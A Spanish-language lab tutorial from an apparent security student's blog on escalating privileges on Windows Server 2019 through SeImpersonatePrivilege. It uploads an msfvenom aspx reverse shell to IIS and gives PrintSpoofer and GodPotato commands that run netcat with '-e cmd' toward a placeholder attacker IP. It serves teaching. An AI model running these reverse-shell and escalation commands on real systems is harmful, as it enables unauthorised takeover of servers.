SeImpersonatePrivilege - Escalada de Privilegios
Puede suponer un grave problema de seguridad.
Suplantación: Un atacante puede hacerse pasar por un usuario con más privilegios, como un administrador, y acceder a información o recursos restringidos.
Explotación de Servicios: Si se compromete un servicio que tiene este privilegio, un atacante puede aprovecharlo para ejecutar código malicioso con privilegios altos.
Escalada de Privilegios: Permite al atacante obtener privilegios máximos en el sistema.
Configuración del Laboratorio
En mi caso voy a utilizar una máquina Windows Server 2019 Build 10.0.17763 x64 a la cual le vamos a añadir ciertos roles y funcionalidades.
En primer lugar vamos a realizar la instalación del servidor IIS.
Debemos dirigirnos al panel de administración del servidor y añadir el siguiente rol.
Los demás pasos son darle a siguiente hasta que comience la instalación, una vez se haya instalado reiniciamos el servidor.
Una vez reiniciamos el servidor ya podremos conectarnos al servidor web IIS a través del navegador.
A continuación debemos realizar una serie de configuraciones básicas en el servidor relacionadas con los permisos, para ello abrimos el Administrador del servidor IIS.
Al acceder a editar permisos se nos abrirá el apartado de propiedades del directorio wwwroot que es el directorio donde se ubica todo lo relacionado con el servidor web.
Y debemos modificar los permisos de este directorio para todos los usuarios del servidor.
Reverse Shell
Llegados a este punto debemos ganar acceso a la máquina, para ello subiremos una reverse-shell.
En mi caso he insertado un pequeño panel que me facilita la subida de archivos a través del propio navegador.
A continuación si accedemos al servidor web desde nuestra máquina atacante podremos ver el panel de subida de archivos.
Tenemos el panel funcionando, por lo que ahora podemos subir la reverse-shell para ganar acceso a la máquina.
A través de msfvenom crearé una reverse-shell aspx.
La subimos al servidor y después nos ponemos en escucha en el puerto configurado en la reverse-shell para que cuando accedamos al archivo desde el navegador se ejecute y recibamos la conexión.
SeImpersonatePrivileges - Escalada de Privilegios
Si lanzamos el comando whoami /priv
podremos ver los permisos que posee el usuario.
Podemos ver que disponemos del privilegio SeImpersonatePrivilege y abusaremos del mismo para ganar acceso como el usuario con máximos privilegios.
Lo haremos a través de dos métodos diferentes.
Método 1 - PrintSpoofer
En este primer método vamos a hacer uso del ejecutable PrintSpoofer.exe para escalar privilegios.
Simplemente lo pasaremos a la máquina víctima y lo ejecutaremos de la siguiente forma:
C:\Users\Public\PrintSpoofer-master> PrintSpoofer.exe -i -c cmd
Una vez ejecutado habremos obtenido privilegios máximos en la máquina víctima.
También podríamos obtener una reverse shell subiendo el binario de netcat y ejecutando el siguiente comando:
PrintSpoofer.exe -c "C:\Temp\nc.exe <ip> <puerto> -e cmd"
Método 2 - GodPotato
Este segundo método es muy parecido al anterior, simplemente debemos descargar los ejecutables GodPotato.exe y netcat.exe, subirlos a la máquina víctima y ejecutar el siguiente comando:
Una vez subidos nos ponemos en escucha con netcat en el puerto 9999 y ejecutamos el siguiente comando:
GodPotato.exe -cmd "C:\Users\Public\nc64.exe -e cmd <ip> <puerto>"
Y recibiremos la conexión en nuestro oyente de netcat.
Recursos
Hasta aquí este artículo de escalada de privilegios, y recordar que existen algunos métodos extra a parte de los vistos que funcionan con otras versiones de S.O.
Aquí os dejo los enlaces de los recursos utilizados y un pequeño vídeo que puede ayudar a entender mejor el ataque.
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
elc4br4
elc4br4
Cybersecurity Student